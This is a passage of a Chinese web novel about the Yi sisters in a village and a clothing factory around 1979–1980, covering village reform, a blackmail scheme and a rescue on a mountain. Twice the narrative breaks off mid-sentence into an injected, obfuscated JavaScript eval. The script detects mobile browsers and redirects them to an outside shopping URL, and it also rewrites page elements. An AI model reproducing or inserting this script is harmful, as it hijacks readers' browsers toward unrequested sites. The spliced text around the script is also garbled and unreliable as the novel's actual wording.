易临春在睡觉前,果真拿到了钱,何淑秀把钱送过来的时候,连看都不看她一眼,把钱往她床上一扔,二话不说,掉头就走。 她也没说什么,把钱收好,脱了衣服在床上躺下来,内心无比笃定。 “姐,我支持你这样做。”易念春晚上睡觉,抱着她,悄悄地说出了她的心声,“让妈给你置办嫁妆,还不是买一堆便宜的东西应付一下?剩一大笔钱她管着,肯定不会给你。到时候,你的钱大多倒贴家里。二姐的钱,妈肯定一分不用,留着给二姐出嫁。太不公平了。” 易临春不置可否,给她吃了颗定心丸,“有我在,以后你也不用担心学费的事情,想读到什么时候就读到什么时候。” “太好了,”易念春兴奋得直打滚,“我要考上一中,去北京上大学,还要去日本留学!” “为什么要去日本留学?”易临春很诧异,“是因为你上次说的那个,大姐的男朋友信里说要去日本留学吗?” “嘘……”易念春匆忙捂住她的嘴,自己的嘴却堵不住,压低声音笑着嘀咕,“大姐说只是普通同学,可人家写的信读了又读,就差没抱着这些信睡觉了。” 易临春推开她的手,担心时间太晚影响她明天上学,催她睡觉。易念春翻过身去,没多久就响起了均匀的呼吸声。 易临春翻来覆去睡不着,内心有些兴奋,长舒一口气,闭上双眼,嘴角却不由自主地上扬,无法形容这是一种什么感受。 就像从前她与这个家连接着脐带,她倚靠着这根脐带给她供氧,最后却感觉快要窒息了。 于是她主动切断了脐带,靠着自己呼吸,没想到又活了过来。 9. 第009章 第009章一九七九(五) 易满春在三月一个彤云初起、天光明媚的清晨,走进了村委会。 还是那身褪色的旧军装,依然是齐耳短发上压了个军帽,腰身笔直,精神饱满,不知情的人还以为她是刚入伍的新兵,绝对想不到,她今天是来报道的。 易满春刚到门口,就听到里头传来算盘珠子被拨动噼啪作响的声音。 她长吸一口气,再慢慢吐出,把军挎包往肩头提了提,大步跨进门内,习惯性的喊了一声“报告”,然后是自报家门的长长一串说辞。 诺大的房间只有一个人,正坐在靠墙的一张办公桌前,旁边有个煤火灶,灶上放着一个烧水壶正在烧水,壶嘴冒出热气。 “易满春同志是吧?我是袁会计,”袁会计从老花镜上沿瞥她一眼,手指捏着她递给他的推荐信抖了抖,“我们这儿不是部队,直接进来就是,不用喊报告。至于你的工作,这儿主管妇女工作的同志刚调走,你暂时就接手她的工作,把后面墙上的宣传栏更新了。” “……”易满春准备了一肚子的话,关于怎么解放农村劳动力、促进农村经济发展的宏伟计划,被停顿片顿很快又重新响起的算盘珠子噼里啪啦的声音强行塞了回去。 她一时像泄了气的皮球,但很快又自己给自己打气,脑海里反复响起复原时指导员说的话:“新时代的战斗,最难的战场不在前线,而在建设祖国千千万万个平凡的岗位。” 易满春取下包,放到袁会计给她指定的那张空桌上,水烧开了,烧水壶响起鸣声。 她不等袁会计起身,跑过去把水壶提下来,给他办公桌上的搪瓷杯倒满热水,再把他桌上的热水瓶灌满。 然后她把自己包里的杯子拿出来,把剩余的开水倒进去。 门“吱呀”被推开,进来一个年轻男子,一阵冷风随之扑面而来,易满春浑身一紧,不知道是风吹的,还是因为进来的男人视线直直地注视着她的缘故。 袁佑卿,这个人易满春当然认识,称呼袁家的老爷子袁厚德大伯,他母亲是代七兰的表妹。几年不见,眼前这个高大健壮、皮肤黝黑的成年男子,与她小时候印象中那个瘦弱的少年,判若两人。 “三叔,你在啊。”袁佑卿反手关上门,“我以为没人,特意过来值班的。” 袁会计“嗯”了一声,头也没抬,停下拨算盘的手,迅速合上账本,放入抽屉,锁上,说出去办点事,离开了。 袁佑卿脸上闪过一丝苦涩的表情,转身,再次看向满春,眉头微皱,似是一时半会儿没有认出她。 “袁佑卿,你不认识我了吗?我是易家四姐妹中的老二,小时候胖胖的那个……”易满春进入部队以后才慢慢瘦下来,但现在依然是她们家姐妹中最胖的那个。 “果然是小满啊,我当然认识,只是,你这身形变化也太大了,”袁佑卿随手拉了张椅子坐下,笑望着她,“太瘦了,还是胖点可爱。” ”……”易满春心里有种说不出的感觉,除了父母,外人没几个人会叫她“小满”,后面加个“啊”字,更是很少听到。 她转移话题,问他怎么没有跟其他人一样在他大伯家。一问才知,原来他跟她一样,是被袁家“核心集团”排除在外的边缘人物。 何淑秀不知道给代七兰送了多少鸡蛋,布料,甚至红包,才给她换来一个承诺,一定让她进袁家主导的农机厂。 结果昨天何淑秀从袁家回来,说农机厂现在不缺人,暂时把她安排到了村委会,让她今天就来报道。 何淑秀向她抱怨,说是因为易临春得罪了袁家,不然肯定让她进农机厂了。 易满春并不傻,自然知道这是借口,但她也不是非得进农机厂。在今年这样的就业压力下,能进村委会,有个事做,她就心满意足了。 袁佑卿不受袁家待见很重要的一个原因,竟然是因为他和他父亲在世时一样,支持推行承包制。 他父亲是村里最早提出承包制的人,在当时被视为异类,后来结局很惨。父母双亡以后,他大姐出嫁,他和弟弟由他大伯抚养长大。 有了他父亲这个前车之鉴,谨慎保守的袁厚德禁止他再提承包制。但他显然一直没有放弃,一有机会就去游说一番。 袁家人非常头疼他这个“异类”的儿子,没想到他青出于蓝胜于蓝,比“异类”还“异类”,即使他有能力,也不敢重用。 只有他们两个人在的办公室,成了袁佑卿演说的舞台。 讲到安徽小岗村已经推行承包制,他激动得手舞足蹈。回到现实,他昨天刚被袁厚德骂过,又只有唉声叹气的份。 “我们是不是要想个什么办法说服袁书记?”易满春提议。 “袁书记?”袁佑卿思索半晌,才知道她说的是谁,笑道,“你是说我大伯吧?湾里没有人这样叫他。” “他不就是大队书记吗?”易满春不理解,袁厚德年纪不大,也就五六十岁,跟他父亲差不多,为什么喜欢村里人叫他袁老爷子? 眼下她也没心情去追究这种事情,他们开始商量着写一个联产承包责任制试行方案,然后去找袁厚德。 他们花了好几天时间才完成方案,当他们拿着方案找到袁厚德,不出他们所料,他们刚说出这个名称,就被喝住,不让他们继续往下说。 一如既往,袁厚德把袁佑卿骂得找不着北,说他不务正业,游手好闲,浪费他多年的栽培。 “满春妹子啊,你算是你们易家几个姐妹里比较听话的,至少比你那个妹妹懂事,别辜负当年我对你的推荐。”对易满春,他还算客气,“你七兰伯母这段时间天天在我面前说你的好话,不然,也不会让你到村委会来。好好做好本职工作,不要小看妇女的工作,安抚好家里的女人,男人们在外面才能大展拳脚。” “女人也能像男人一样在外面做事……”易满春觉察到袁厚德脸色黑了下来,知道现在不是跟他讨论男女平等这种话题的时候,迅速转移话题,“袁老爷子说的对,我会先做好本职工作。也谢谢您给我这个机会。” 袁佑卿还要反驳,易满春朝他使了个眼色,示意他什么也别说了。 袁家两个儿子进来找袁厚德,说是农机厂有重要事要请示他。 袁厚德对他们叮嘱了几句,让他们以后有什么事直接找袁会计说,不用过来跟他说,他一个人精力有限,便让他们先离开了。 从袁家出来,易满春和袁佑卿路过湾里的两口水塘,远远看到易临春背着一捆草走到水塘边,解开绳子,把草撒到水塘里。 他们两个都跑过去帮忙,易临春看到他们,冲他们笑了笑,没说话,继续干活。 袁佑卿边撒草边开玩笑说,“村里那些懒汉,喂鱼的时候不见人影,过年分鱼的时候跑得比谁都快,没有临春妹子,这两口水塘里的鱼都要饿死。” 易满春也不断地找话题,易临春偶尔应一两句。她总感觉,自除夕之后,她们姐妹之间再也不像从前那样有说不完的话了。 尤其在父母面前,易临春变得沉默寡言,凡事不到万不得已,不发表任何意见。 这样避免了冲突,但没有了小时候那种鲜活闹腾的家庭氛围。 易满春心里有些难受,让袁佑卿先去村委会,她留下来帮忙就行。等他一走,便拉着易临春在水塘边坐下来。 “临妹,我知道你心里一定在怪我,”易满春刚一开口眼泪就流下来了,想起这些年,家里几乎大部分的重担都压在了她身上,既心疼,又恨自己无能,眼泪怎么也止不住,“是我没用,没能找到一份好的工作,为家里多分担一点。还有彩礼的事……” “不是这样的,二姐你误会了。”易临春最怕见到她哭,两手擦了擦衣服,把手上的泥擦掉,掏出口袋里的手帕递给她。 “那你都不怎么跟我说话了,除夕那天晚上你一定听到妈跟我说的话了。那种事,是谁遇到都会生气。”易满春直接戳破了横亘在她们之间的这层纸,“但我那时候真的不知道,如果知道,我一定会让你去的,你相信我。” “我相信,”易临春说着,自己眼泪也流了下来,“在这个家里,你对我是最好的。正因为这样,我才不知道怎么面对你。我不能跟你吵,也不能像小时候跟大姐打架一样跟你打一架,可是我又很难受,我能怎么办呢?” 易临春趴在膝盖上,极力压住声音,易满春抱住她,哭得稀里哗啦。 许久,易临春才缓过气来,坐直脊背,反过来安慰她,“二姐,我真的没有怪你,我只是需要一点时间。其实我现在差不多都已经想通了,走什么样的路,过什么样的生活,这都是我的命,跟你没有关系。不退彩礼,也不是因为你,是我自己主动选择的,至少到目前为止,我觉得孟雪松这个人还不错。” “真的吗?”易满春将信将疑,“那我到村委会做事,你会不会跟爸一样不高兴?他现在还不知道我来的是这边。” “不会,我倒是觉得你做的对。本来还担心,你这个人太听话了,不敢违背爸的意思,放弃这样的机会。在长乐湾,多少人求之不得,不是姓袁的人,很难有这样的机会。” 易临春理了理零乱的头发,跟她说了前两天去孟雪松家的情况,定了年底的日子办婚礼,一切都很顺利,让她不要再担心,然后问她到村委会感觉怎么样。 易满春终于解开了心结,这会儿心情特别好,话也多起来,把这些天的经历都一五一十地说给她听,最后问她对承包责任制有什么看法。 易临春无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她性格太强了,我大伯这个人,你也看到了,很享受做‘土皇帝’的感觉,要人捧着,不喜欢想法太多的人。她要有你这样温和的性格,那就好了。只是,天底下哪有这么完美的事?你们这对姐妹花倒是完美的组合,双璧合一,所向披靡。” 没人不喜欢听这样赞美的话,易满春笑得合不拢嘴。 她想起还有一项任务没完成,不再跟他说笑,走到后墙宣传栏前,用粉笔在最中央写下“实践是检验真理的唯一标准”几个大字,打算以此为主题出一期墙报。 易满春就这样正式开启了她的村干部生涯,每天早出晚归,忙得不亦乐乎,全身心投入新时代的“战斗”。 妇女工作这一块,要到下一年才开启一项艰巨的任务,眼下她只是例行公事去拜访湾里各家各户,有意无意地跟他们宣讲承包制的好处。 她当然不敢太张扬,而是像小时候小祖奶奶给她们讲《红楼梦》里的故事一样,给村民们讲贾府三姑娘贾探春在大观园推行承包制的故事。 袁厚德果然同意了让她和袁佑卿承包两口水塘的提议,但一再强调,村里现在主要资金都投到农机厂了,没有多余的预算去做其他事情,让他们做好心理准备。 易满春不傻,当然知道他的意思,不管他们想怎么折腾,有收益当然好,但钱村集体一分不会出。 买鱼苗的钱,袁佑卿出了大部分,她凑了一部分。她费了九牛二虎之力,才说服何淑秀拿出一点钱给她。 袁佑卿干活很勤快,除杂草,清淤泥,修整水塘外围……她有空就去给他搭把手。 荒废的水塘经过一番打理,终于可以重新放养鱼苗。 放了鱼苗之后,他们隔三差五就去割草喂鱼,没有钱买鱼饲料,只能用最经济实惠的方式去养鱼。 正如易临春预言的,鱼苗长大一点,他们遭遇了又一个难题。 鱼多了以后,来钓鱼的人多了起来,大人小孩都有。 有的来了,听说这是承包的鱼塘,立刻就离开了,再也不来。 有的来了一次,发现硕果颇丰,上了瘾一样,一有时间就来,一坐就是一整天,根本不管这是谁承包的。 有的更过分,一听不让钓鱼,好像被人割了自己身上的肉一样炸毛,破口大骂,这是公家的东西凭什么你说了算?你算老几?你不让钓老子偏要钓…… 易满春和袁佑卿都是好脾气的人,不会骂人,解释多了,人家不听,反而挨骂受气的时候多。 看着好不容易长起来的鱼苗一天天减少,易满春心急如焚,却不知如何是好。 最后还是易临春出面,一招制敌,又狠又准,从此再也没有人敢来钓鱼。 10. 第010章 第010章一九七九(六) 易定春又一次坐在姚雪莲的办公室,手上捧着一个笔记本,正在向在场的人作关于生产单一产品的军大衣制衣厂丰富产品线的可行性研究报告。 不大不小的办公室挤满了人,都是市场科的一些骨干职工,与易定春并排、挨着姚雪莲办公桌坐的是市场科的销售冠军赖志强。 易定春列举了很多数据,这是她花了几个月时间,几乎跑遍整个仁城县城,和附近的几个乡村,实地调研获取的数据。 “生产毛巾、浴巾等属于低价高消耗的日常生活用品,显然比军大衣拥有更庞大的市场。我打个比方,十个人中,可能只有一人能消费得起军大衣,他为了节省还不一定会买,因为价格不便宜;但这十个人每个人都需要洗脸洗澡,毛巾必不可少,价格也在大多数人承受范围之内。” “那不一定,”易定春话音一落,赖志强立刻反驳,“我洗脸就从不用毛巾,手臂一甩,搞定。用什么毛巾?穷讲究。” 办公室内的人哄堂大笑,大多都是赖志强的拥护者,除了易定春在生产科带来的徒弟常秀英,制衣厂人员大调整,她跟着易定春刚转调到市场科。 常秀英坐在易定春身后,站起来要反驳,被易定春拉了下去。 她一直等到笑声小下来,才继续往下讲,“赖前辈虽然做销售赚钱的,仍然勤俭节约,这种精神值得我们学习。但还是不要像有些人,从来不洗脸,不洗澡,那样虽然节省了毛巾,周围的同事可就遭殃了。” 办公室内再次爆发出潮水般的笑声,连办公桌后面一直正襟危坐、不苟言笑的姚雪莲都抚额微笑。 姚雪莲清了清嗓子,再次强调了会议纪律,不要随便打断别人的发言,有什么意见等别人全部说完以后再补充。 后续的报告,不再有人打断,易定春顺利完成,合上笔记本,扫视了一圈在场的人,等着众人提意见。 “我们是市场科,生产科做出来的东西,我们负责卖就行了,现在扯到产品上去,研究做什么,这不是越俎代庖吗?”赖志强一脸不屑,反问他身后的人,“你们说是不是?” “对,强哥说的对。” “是的,是的,我同意强哥说的。” “我也这么认为。” “……” “这个我来解释,”姚雪莲清了清嗓子,“我相信卖了这么久的军大衣,有多难卖,在坐的各位都深有体会。所以,我让小易去做市场调研,看看什么东西是市场需要的,结合我们制衣厂的实际情况,我们能够做的。追溯到产品源头,才能更好地解决我们市场终端的销售问题。” 她这么一说,现场没有人再敢鸡蛋里挑骨头了。 易定春感激地看了姚雪莲一眼,她提出这个建议的时候,姚雪莲同样持怀疑态度,但不像虞亚群那么强烈地反对,并且给了她足够时间和一定的经费去做调研。 这也是姚雪莲邀请她加入市场科,她没有再犹豫的原因之一。重新考大学的念头也就此被彻底掐灭。 “但我有个问题,我们现有那么多的设备,不是要白白浪费?添置新的设备又要花费一大笔,上面估计很难通过审批。”姚雪莲提出了一个非常现实的问题。 “这个不用担心,生产毛巾的设备、原材料远比生产军大衣的要简单,原先的纺纱机、织布机、锁边机等很多设备可以直接用,都不需要很大的改装,只需要小幅度调整。节省原材料的费用,可以抵消一部分添置新设备的费用。总之,军大衣已经供过于求,生产出来就堆到仓库成为库存,工厂连工资都发不出去,继续走这条路,只会进入死胡同。与其这样,我们不如主动求变,变则通,毛巾需求量大,我相信不到三年时间,我们就能扭亏为盈。” 这个美好的图景,让在场大多数人都振奋起来,纷纷追问一些细节性的问题。 易定春从容不迫地一一回答。 市场调研报告会以姚雪莲的总结结束,对她的想法做出了肯定,也鼓励市场科所有的人向她学习,大胆提出自己的想法,为市场科乃至整个工厂的发展积极献策。 至于她的提议能不能通过,这是件大事,等她向上级汇报,研究讨论以后,才能知道。 从办公室出来,已经到了下班时间。常秀英又一次提出要请易定春吃顿好的,感谢她向姚雪莲申请,同意她转调到市场科,不然她就失业了。 国营单位有任务,每年要接收一定数量的新人进厂,可僧多粥少。 人事科出了一个方案,让生产科近些年进厂的职工,要么转岗,转调市场科,前提是本人自愿提出申请,且市场科愿意接收,要么停薪待岗,本质上就是被清理掉,给新人挪位置。 一个很奇特的现象,大部分做惯了技术活的人,不愿意转做市场。或者说,他们根本不愿意有任何变动。 如果她和常秀英没有成功转调到市场科,也成了被清理的对象。 常秀英家里子女众多,条件也一般,易定春自然不想她破费,所以她说了好多次要请她吃饭,每次她都拒绝了。 “饭就不吃了,我晚上要去夜校上课。你好好工作,别让我丢脸就是对我最好的报答了。”易定春又一次委婉拒绝。 “那是肯定的,师父你放一百个心。”常秀英挽着她的手臂,声音突然低下来,“听说,林昱凌一直赖着不走,隔三差五去人事科闹,罗科长头疼的很。” “……”易定春心里又闪过一丝犹疑,要不要再向姚雪莲申请一个名额,让林昱凌也跟过来?虽然她不太喜欢林昱凌的行事作风,但到底也是她带过的徒弟。 事实证明,她完全是在自作多情。 她们走到宿舍门口,依稀听到里面有人在议论她,不由自主放缓了脚步。 “她父亲是农村户口,根本没有在咱们制衣厂工作过,她怎么顶班他父亲的工作?” “这么说,她肯定不是顶她父亲的班才进的工厂。” “那她到底是怎么进来的?难道真的是罗科长的……”里面的声音小了下去,易定春还是听到了那个最刺耳的词。 “这怎么可能?就她那样的长相身材,罗科长怎么会看上她?绝对不可能。”这是林昱凌的声音。 易定春隐约也听到有人在议论,她到底是怎么进工厂的,各种说法都有,甚至有人说她们家在北京有人。对这些猜测,她都没放在心上。 只是她完全没想到,竟然有人把她跟罗基文捆绑在一起,说她是罗基文的情人,凭着这层关系进了制衣厂,现在“扶摇直上”。 原因大概是这次人事大调整,她原本该被清退,却因为转调到市场科逃过一劫。 易定春很无奈,推开宿舍的门,那一堆人立刻散了。 只有林昱凌站着不动,直视着她,眼睛里的轻蔑和鄙夷的神情几乎要溢出来。 易定春走到林昱凌面前,同样直视着她,“但凡你把嚼舌根的时间放到提高你的缝纫技术上,你现在早就转正,绝不会混了这么久,还是个实习生。” “……”林昱凌像是被捅到了痛处,那张精心涂抹过的脸,五官开始变形,冷峻的眼神像刀子一样,恨不得将她千刀万剐。 “你们刚才在胡说什么?我师父能转调到市场科,是因为姚科长认可她的能力,怎么可能是你们说的那样?”常秀英在宿舍转来转去,试图解释清楚。 易定春制止了她,让她忙自己的去,不要浪费时间。她找出晚上上课的书,也离开了宿舍。 她报了夜校市场营销专业的非全日制本科学位课程,平时上班,工作忙,只能晚上和周末花功夫学习。 易定春不知道,一场洪水猛兽正悄无声息地扑向她。 就在她做完调研报告的第二个周末,虽然是周末,但因为要去补前段时间落下的课,她没有回家。 上午上完课回来,去公共浴室洗完澡,出来的时候,林昱凌和两个看起来像社会上混的男人把她堵在了公共浴室里。 “你什么意思?”易定春想起一个星期前她们在宿舍说了两句,至于这么兴师动众? “我想我们很快就可以知道,你到底是怎么进这个制衣厂的了。”林昱凌倚靠在门框上,双手抱在胸前,“我确信,答案就在神农山那个老太太身上。” 易定春手中的洗脸盆“哐”地一声掉落在地,脊背开始冒冷汗,极力保持冷静,“林昱凌,你到底想干什么?” “如果你不想你们家那位神秘的老太太,被以前在县革委会混的那帮人抓了去,扣上旧社会万恶的资本家的帽子,受尽凌辱,你就在这份辞职报告上签上你的大名,有多远给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274129|198158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 滚多远!” 易定春脑海里闪过几个画面,她放在宿舍的书包被人动过手脚,里面有她的录取通知书,转眼罗基文就知道她考上了大学……那些看似毫无关联的细节,放在眼前,竟然串联起来了。 “原来偷看我录取通知书的人就是你?罗基文去年在姚科长办公室提起,我考上大学,去上大学以后,安排接替我岗位的人也是你?” “易定春,你给我闭嘴!”林昱凌脸色陡然黑下来,这句话显然又戳到了她的痛处,放下双臂,指着她的鼻子吼得声嘶力竭,“如果不是你,我早就转正,我早就是制衣厂的正式员工了。你明明考上了大学,录取通知书都下来了,为什么不去?” 易定春不知道怎么理解她的逻辑,能够确定的是,林昱凌一直在暗中调查她。只是,她是怎么调查到小祖奶奶身上去了? 小祖奶奶一直隐居神农山,很多年没有下山了,更没有跟除了她们家以外的人接触。只有去年年底,她父亲眼睛动手术,下过山。会不会就是在那个时候被林昱凌撞见了? 这个女人实在太可怕了。 “好,我签。”易定春朝她伸出手,大脑极速运转,想着怎么脱身,怎么让小祖奶奶不要落入恶人之手。 林昱凌眉头一皱,显然不敢相信她会这么配合,迟疑片刻,下巴朝她甩了一下,示意身后的那个人把辞职报告和笔拿给她。 易定春接过纸和笔,转身把纸摊开贴在墙上,背对着门口的人,一笔一划写她的名字。 就在这时,浴室外传来常秀英的声音,“师父,你还没洗完吗?你小妹在门口等你好久了,说是给你送南瓜子,还说是她临姐特意给你炒的。” “不许出声!”身后林昱凌压低声音警告她。 易定春不确定小祖奶奶有没有落到他们手里,不敢乱来,没有回应常秀英,接着写。常秀英没有听到她的声音,大概以为里面没人,就离开了。 她写完以后,缓缓转身,看着林昱凌,“你如果不想把事情闹大,就应该让我出去见我小妹一面,把南瓜子拿进来。我小妹很机警伶俐,她可不像常秀英,如果她见不到我,肯定会知道我出了事,马上就会去附近派出所报案。” “你想得美,别想耍什么花招,故意拖延时间。”林昱凌冷笑一声,“在我的朋友给我回话之前,你就在这里好好待着。” “那好,你也别想的美。”易定春大体知道,他们还在寻找小祖奶奶的下落,迅速把手中的辞职报告撕碎,往空中一抛,碎纸落了一地。 林昱凌没想到她出尔反尔,气得咬牙切齿。 “如果你还想要我的辞职报告,现在就让我出去见我小妹一面。你们可以跟在我身后,该说什么不该说什么,我心里有数。你们再去准备一份辞职报告,等我见完小妹回来,我再给你签。” 林昱凌转身跟后面的两个人低声商量了一会儿,之后三个人分头行事。 她去办公室再打一份辞职报告,他们两个陪易定春去门口,让易定春拿了南瓜子就进来,什么话也不许说。 易定春暗暗握紧拳头,快步走出了浴室,后面两个人不远不近地跟着她。 一直到了大门口,易念春正站在门口朝里翘首张望,见到她,脸上瞬间绽开了花。 她们隔着铁门站着,易念春叽叽喳喳地说个不停,说她姐太帅了,把两瓶“敌敌畏”往水塘里一倒,第二天池塘里飘起很多死鱼,从此再也没有人敢来鱼塘里钓鱼了。 “大姐你知道吗?”易念春笑得直不起身,“瓶子里装的是水,那些死鱼是我姐从溪里捞上来趁夜里没人放进去的。她真是太聪明了。” “……”易定春不知道她颠三倒四说些什么,把她的注意力拽回来,“小妹,你不是给我送吃的吗?” “对对对,”易念春又开始念叨,她姐炒的南瓜子有多么好吃,并一再强调,“我姐让我特意给大姐你送过来的。” “好,替我谢谢你姐,把南瓜子给我。”易定春心急如焚,把手臂穿过铁门栏杆伸出门外,半张开手掌。 易念春看着她手上的东西,几乎已经被汗水湿透,眉头微皱,思索片刻,迅速把装南瓜子的纸袋子放到她手上,同时顺走了她手上的东西。 易定春转身往回走,后面两个人继续不远不近地跟着她。 11. 第011章 第011章一九八零(一) 艳阳高照,碧空如洗。 午后的阳光给易临春新买的凤凰牌自行车镶了一层钻,车子停在路边,格外耀眼瞩目。 易临春嘴角含笑,眉眼弯弯,把自行车头擦了又擦,直到从制衣厂方向传来熟悉的声音,才把她的视线从自行车上拽过去。 “姐,不好啦,出大事了……”易念春边跑边喊,手上像举着什么东西,跑到她面前,摊开手掌。 易临春视线落在她手心里的纸条上,上面几个字,她只认得一个“山”、一个“水”字,眉头微皱,“我又不识字,你给我看什么?” “这是……大姐给我的,‘山上发洪水’……说的就是……小祖奶奶……”易念春边喘气,边解释。 类似的事情他们以前也经历过,所以这几个字的意思她们都明白,小祖奶奶有危险。 “我知道了,你回去找二姐,二姐不在就去小孟湾找孟雪松,我先去神农山。”易临春说完,用脚推开自行车停靠的脚撑,骑上车朝神农山的方向飞奔而去。 “姐,你才学会骑车,小心点,不要骑太快……”后面易念春大声呼喊,声音越来越小,最后完全被她耳边呼呼的风声盖过。 易临春赶到神农山,把自行车停在山脚下,找了个稍微隐蔽点的地方,把车锁在一棵树干上,然后朝半山腰的千福庵跑去。 她一口气跑到小祖奶奶住的小屋,推开门的刹那,脸色瞬时煞白。 屋里面没有人,东西被翻得乱七八糟。 易临春发现小屋附近有几个神色可疑的人,四处张望,似乎在寻找什么人,她意识到这些人应该就是来找小祖奶奶的。 她忽然想起什么,拔腿又开始跑起来,风一样跑到山的另一边,一眼看到小祖奶奶坐在一块巨石后面,旁边放着一捆柴。 那一刻,易临春激动得眼泪都流出来了。 她大步跑过去,俯身弓着腰,把老太太拉到背上,“小祖奶奶,快,我背你去一个地方。” “我的柴……”老太太一直盯着巨石旁边放着的柴。 “说了多少次让你不要自己到后山砍柴,让我来……”易临春嘴里责怪老太太,心里却无比感激她这一次出来砍柴了,每次砍柴都到同一个地方。 她把小祖奶奶背到一间沿山而建的红砖瓦屋前,孟雪松也差不多同时赶到。 这是孟雪松给小祖奶奶临山新砌的小屋,离千福庵依然不远,但地理位置更隐蔽,不仔细去看,一般人根本发现不了。 外面很简单,里面简单装饰过,添置了床和柜子等一些常用家具,墙壁粉刷了白色涂料,还装了灯泡,电线应该是他从千福庵那边接过来的。 总之,孟雪松像个魔法师一样,给小祖奶奶弄出了这样一个舒适的小屋。 小祖奶奶摸摸这里,摸摸那里,不时地抹眼泪。 等了大半天,估摸着那些人都离开了,易临春和孟雪松去原来的旧屋,把小祖奶奶的一些能用的东西都搬了过来。 安顿好小祖奶奶以后,易临春担心还会有人来找麻烦,要留下来,让孟雪松先下山。 小祖奶奶说不用,这些人以后不可能再来了。 易临春有些不解,但从她笃定的语气,意识到,她今天离开之前的小屋去后山砍柴,应该不是偶然,她可能早就知道有人会来找她麻烦。 “小祖奶奶,这些人应该是制衣厂里面的什么人叫过来的吧?可制衣厂没有人见过你啊。” “估计是那个女孩子吧,跟我有过两面之缘。去年送你父亲去医院,她抱着孩子在看医生。今年初一,你大姐和二姐来之前,她就抱着孩子来了千福庵。那天我也起得早,给庵子里点灯,又碰到了她。是个心细的人,可惜,也是个可怜的人。” 小祖奶奶没有说的是,今天上午她去千福庵点灯回来,发现有人闯进她住的地方,就绕到后山去了,怕吓着她。 易临春不傻,自然能想到今天有多凶险,“你怎么不早告诉我们这些……” 话说了一半,说不下去了。这一切,根源不是在她吗?如果不是她多事,跑去制衣厂争取一个顶班工作名额,小祖奶奶就不会遇上今天这样的事情了。 小祖奶奶原本就跟陶朱公一样,功成名就,放下一切,远离是非,是她贪心,又把她推回到了是非之地。 小祖奶奶显然看出了她的不安,反过来安慰她,“既来之,则安之,不用担心。这点小事,不足挂齿。” 易临春还想说什么,被小祖奶奶推出来,说不要让孟雪松在外面等太久。她只能叮嘱她千万要小心,明天她再来,才与孟雪松一同离开。 到了山脚下,易临春领着孟雪松找到自行车,把钥匙给他。 “小祖奶奶的新屋,砌砖的技术不错,不过还有进步空间,继续加油啊,”易临春笑望着他,“以后骑着车去跟你师父学技术,就不用天天走路了,更不用羡慕你师兄张仲生有自行车。” “……”孟雪松接过自行车钥匙,五指合拢,紧紧握在手心,黑眸凝望着她,“上半年才给师父交了学费,又还了债,这会儿你哪来的钱买自行车?” “你记得这些就好,”易临春咬咬牙,说出心里的隐忧,“以后别说我们家贪了你们家的彩礼,我光杆司令嫁进你们家。” “有你就够了,你就是我最大的福气。”孟雪松声音低沉,黑眸锁住她的眼睛。 两个人的视线对接,像是能导电的线,电流乱窜,她心跳加速,脸微红,忙低下头。 他愣怔了好一会儿,被她推了一下才回过神来,把自行车的锁打开,让她坐上后面座位上,左脚踩上左边脚踏板,右脚从前面车杆跨上车,很轻松地骑上了车。 车子的惯性,易临春身子往后仰,情急之下,下意识地抱住了他的腰。 夕阳西下,晚风拂面,抚平了她慌乱的心。她感觉内心渐渐变得笃定而厚实。 这大概是易临春有生以来,最幸福的一段时光。 这种感觉在她腊月成为新娘的这一天到达了巅峰。 虽然这种幸福,在别人眼里是无法理解的,比如她的发小柳允玟。 “这是我见过最寒酸的婚礼!”随着“嘭”的一声巨响,柳允玟破门而入,声音比人先闯进来,把房间里正在做新娘装扮的易临春与贺香桃吓了一跳。 易临春转头看向一身时髦装扮的柳允玟,气冲冲地往旁边椅子上一坐,跷起二郎腿,双手随之抱在剧烈起伏不定的胸前。 “我没见过这么吸血鬼一样的家庭,累死累活二十年,九块钱一百斤的炭,烧了多少年?就不能拿出一点钱置办几件像样的嫁妆吗?人家香桃比你早半个月出嫁,自行车、手表、缝纫机和电视机,四大件样样齐全。你这除了两个红柒木箱子,一辆破自行车,什么也没有。” 柳允玟看样子出去跟易家人吵架,却没给易临春捞到什么好处,着实气得不轻。 “我都说了不怪他们,是我自己说了不用他们置办嫁妆,彩礼让我自己来支配的,”易临春再一次解释,“谁说自行车破了?买了才几个月,平时就孟雪松骑着去工地。” 她之前没有给她们讲过关于彩礼花销明细,这会儿也不想隐瞒她们,一一列举给她们听。“孟雪松给的五百块彩礼,买自行车花了一百二,给孟雪松还债两百,当时他凑彩礼借的,给他支付学徒费一百,这个也是因为凑彩礼没有及时给他师傅,差点学不了砖匠技术。剩下就没多少了。” “你这不是纵容孟雪松用你自己的猪蹄喂你这头猪吗?”她的解释,更把柳允玟气得吹鼻子瞪眼,“易临春,我看你这婚别结了,明年跟我出去广东打工。” 易临春与贺香桃相视一笑,柳允玟去了广东两年不到,回来见到她们两个就怂恿她们跟她去广东打工,把广东说得满地都是钞票去了直接捡一样。 两人不理会她,贺香桃继续给她装扮头发上的花饰。她的头发留了一年,不长不短,装扮起来很麻烦。 她们三个年龄相差不大,从小一起长大,同属于长乐湾,只是不同的生产小组。 柳允玟年龄最大,但心气高,多数农村里的男人都入不了她的眼。 她自己家里有两个弟弟在读书,经济条件也不算好。按照她父母的意思,要求她把两个弟弟供养读书成才,再给自己存够了嫁妆,才能考虑嫁人。 贺香桃最小,结婚最早,嫁的对象竟然是袁家的小儿子袁常达,易临春当然不敢跟她比,这些新娘装扮用的东西,都是贺香桃用过的,她也并不嫌弃。 